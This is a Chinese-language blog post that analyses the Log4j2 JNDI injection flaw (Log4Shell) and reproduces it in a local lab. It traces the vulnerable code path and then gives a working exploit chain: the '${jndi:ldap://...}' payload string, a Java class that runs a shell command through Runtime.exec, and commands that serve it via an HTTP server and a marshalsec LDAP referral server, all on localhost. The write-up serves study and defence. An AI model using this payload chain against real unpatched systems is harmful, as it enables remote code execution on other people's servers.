Apache Log4j 漏洞利用分析

举报
拈花倾城 发表于 2022/01/14 13:23:42 2022/01/14
【摘要】 Apache Log4j 漏洞利用分析

@[TOC](Apache Log4j 漏洞利用分析)
欢迎大家关注我的公众号“嘀嗒安全”
在这里插入图片描述

Apache Log4j 项目被爆存在远程代码执行漏洞,且利用简单,影响危害巨大,光是引入了 log4j2 依赖的组件都是数不清,更别提项目本身可能存在的风险了,复现漏洞来学习一下,希望可以帮助到大家。

一、影响范围

引用了版本处于2.x < 2.15.0-rc2的 Apache log4j-core的应用项目或组件

二、复现环境

Log4j-core 2.14.1

Marshalsec

JDK-1.8.0_221

三、 漏洞分析

测试代码如下:

#log4j,java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        //The default trusturlcodebase of the higher version JDK is false
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        logger.error("${jndi:ldap://127.0.0.1:1389/exploit1}");
    }
}



#pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>log4j-rce</artifactId>
    <version>1.0-SNAPSHOT</version>

    <!--
      add properties to fix compilation error

      source contribution from stack overflow link
      https://stackoverflow.com/questions/53034953/error-source-option-5-is-no-longer-supported-use-6-or-later-on-maven-compile
    -->
    <properties>
      <maven.compiler.source>6</maven.compiler.source>
      <maven.compiler.target>1.6</maven.compiler.target>
    </properties>

    <dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
    </dependencies>

    <!--
      add assembly to fix noclassfound error in
        java -cp log4j-rce-1.0-SNAPSHOT.jar log4j

      use the following instead
          java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j

      source contribution from the following link
      https://github.com/jeffli1024/log4j-rce-test/blob/main/apache-log4j-poc/pom.xml
    -->
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-surefire-plugin</artifactId>
                <version>2.19.1</version>
            </plugin>
            <plugin>
                <artifactId>maven-assembly-plugin</artifactId>
                <configuration>
                    <finalName>${project.artifactId}-${project.version}-all</finalName>
                    <appendAssemblyId>false</appendAssemblyId>
                    <descriptorRefs>
                        <descriptorRef>jar-with-dependencies</descriptorRef>
                    </descriptorRefs>
                </configuration>
                <executions>
                    <execution>
                        <id>make-assembly</id>
                        <phase>package</phase>
                        <goals>
                            <goal>single</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>

</project>

根据官方的修订信息:https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Q0ZcpRjC-1640939536386)(log4j2 JNDI 注入漏洞分析.assets/image-20211229005319069.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xuBMB0Q9-1640939536388)(log4j2 JNDI 注入漏洞分析.assets/image-20211229005402694.png)]

可以知道,是通过 jndi 中 LDAP 注入的方式实现了 RCE

JNDI lookup 的用法:

JndiLookup 允许通过 JNDI 检索变量,然后给了示例:

<File name="Application" fileName="application.log">
    <PatternLayout>
        <pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern>
    </PatternLayout>
</File>

实际上通过 log4j2 支持的方法那张图中就可以发现log4j 中 jdni 的用法格式如下:

${jndi:JNDIContent}

既然明确了lookup是触发漏洞的点,并且找到了可以触发 lookup的方法 ,那么就可以找入口点,只要找到入口点,然后传入 jndi 调用 ldap 的方式,就能够实现 RCE。

那么,哪一个入口点可以传入${jndi:JNDIContent}呢?

没错了,就是LogManager.getLogger().xxxx()方法

在log4j2中,共有8 个日志级别,可以通过LogManager.getLogger()调用记录日志的方法如下:

LogManager.getLogger().error()
LogManager.getLogger().fatal()

LogManager.getLogger().trace()
LogManager.getLogger().traceExit()
LogManager.getLogger().traceEntry()
LogManager.getLogger().info()
LogManager.getLogger().warn()
LogManager.getLogger().debug()
LogManager.getLogger().log()
LogManager.getLogger().printf()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pbbizBdo-1640939536389)(log4j2 JNDI 注入漏洞分析.assets/image-20211227015713611.png)]

上述列表中,error()fatal()方法可默认触发漏洞,其余的方法需要配置日志级别才可以触发漏洞。

只有当当前事件的日志等级大于等于设置的日志等级时,才会符合条件,进入logMessage()方法

由于这些调用方法触发漏洞的原理都是一样的,所以本文就以 error 举例说明。

查看 error 的类继承关系可以发现,实际上会调用AbstractLogger.java中的public void error()方法:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fHWpBJ4t-1640939536389)(log4j2 JNDI 注入漏洞分析.assets/image-20211228014323187.png)]

因为在logIfEnabled方法中,对当前日志等级进行了一次判断:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WdprZNRd-1640939536389)(log4j2 JNDI 注入漏洞分析.assets/image-20211228015252410.png)]

如果符合,那么会进行logMessage操作

后续不关键调用路径如下:

logMessage ----> 
logMessageSafely ----> 
logMessageTrackRecursion ----> 
tryLogMessage ----> 
log

不动态调试的情况下跟log方法会到AbstractLogger.log方法,实际上这里是org.apache.logging.log4j.core.Loggger.log方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6QrMH7X6-1640939536391)(log4j2 JNDI 注入漏洞分析.assets/image-20211228222327961.png)]

Loggger.log ---->  

DefaultReliabilityStrategy.log ----> 

loggerConfig.log ----> 
processLogEvent ----> 
callAppenders----> 

AppenderControl.callAppenders  ----> 
tryCallAppender ----> 

AbstractOutputStreamAppender.append ----> 
tryAppend ----> 
directEncodeEvent ----> 

PatternLayout.encode ----> 
toText ---->
toSerializable ---->
format

这里的formatters方法包含了多个formatter对象,其中出发漏洞的是第8个,其中包含MessagePatternConverter

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BJmjZzVX-1640939536391)(log4j2 JNDI 注入漏洞分析.assets/image-20211229003932739.png)]

继续跟着代码走下去,走到了MessagePatternCoverter.class文件的format函数下;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pepzhhQ9-1640939536391)(log4j2 JNDI 注入漏洞分析.assets/image-20211228021242458.png)]

如果检测到$字符后跟了一个{字符,那么会对直到}中间的内容进行解析并replace

继续跟进就进入到了 StrSubstitutor的substitute函数下

这里就是漏洞发生的主要部分了,基本上是递归处理里面的语法内容,还有一些内置的语法

prefixMatcher是${
suffixMatcher是}

其实这里是触发漏洞的必要条件,通常情况下程序员会这样写日志相关代码

logger.error("error_message:" + info);

黑客的恶意输入有可能进入info变量导致这里变成

logger.error("error_message:${jndi:ldap://127.0.0.1:1389/badClassName}");

这里的递归处理成功地让jndi:ldap://127.0.0.1:1389/badClassName进入resolveVariable方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-c1ospfWg-1640939536392)(log4j2 JNDI 注入漏洞分析.assets/image-20211228022427532.png)]

进过语法处理,varname会被修改为对应语法的对应部分(重要绕过),最后会进入resolveVariable()方法中

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pHppVFMS-1640939536393)(log4j2 JNDI 注入漏洞分析.assets/image-20211228024102396.png)]

resolveVariable这里则直接根据不同的协议进入相应的lookup,其中jndi.lookup就会导致漏洞,而lookup支持的协议也有很多种包括{date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-M3IwMlrC-1640939536393)(log4j2 JNDI 注入漏洞分析.assets/image-20211228024237750.png)]

Interpolator.lookup方法中,首先会获取字符串的前缀值:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-J7QxXBAy-1640939536394)(log4j2 JNDI 注入漏洞分析.assets/image-20211228024535528.png)]

如果匹配到内置方法,那么就进入对应的处理方法,这里是 JNDI 方法,那么就会由JndiLookup类进一步处理:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0DJml0yz-1640939536395)(log4j2 JNDI 注入漏洞分析.assets/image-20211228024812847.png)]

最终加载由攻击者传入的LDAP服务端地址,然后返回一个恶意的JNDI Reference对象,触发漏洞,实现 RCE。

四、 漏洞利用

1、 编写利用类

因为利用ldap方式进行命令执行,首先要编写最后的命令执行代码。
Exploit.java

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class Exploit{    
	public Exploit() throws IOException,InterruptedException{        
	String cmd="touch /tmp/xxx";        
	final Process process = Runtime.getRuntime().exec(cmd);        
	printMessage(process.getInputStream());;        
	printMessage(process.getErrorStream());        
	int value=process.waitFor();        
	System.out.println(value);    
}    
private static void printMessage(final InputStream input) {        
// TODO Auto-generated method stub        
new Thread (new Runnable() {            
@Override            
	public void run() {                
	// TODO Auto-generated method stub                
	Reader reader =new InputStreamReader(input);                
	BufferedReader bf = new BufferedReader(reader);                
	String line = null;                
	try {                    
	while ((line=bf.readLine())!=null)                    {                        
	System.out.println(line);                    }                
	}catch (IOException  e){  
	                  e.printStackTrace(); 
	                                 }            }        
}).start();    }}

编译代码后,

javac Exploit.java

开启HTTP服务

python -m http.server

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lLCxjxdT-1640939536395)(log4j2 JNDI 注入漏洞分析.assets/image-20211225004933996.png)]

2、 开启ldap服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar 
marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#exploit1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aaCWdFNE-1640939536395)(log4j2 JNDI 注入漏洞分析.assets/image-20211225004952133.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8B51Wwkr-1640939536396)(log4j2 JNDI 注入漏洞分析.assets/image-20211229004424822.png)]
希望可以对大家有所帮助哦!!!
图片是我的公众号重新截图,所以有些模糊,大家见谅哦~

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。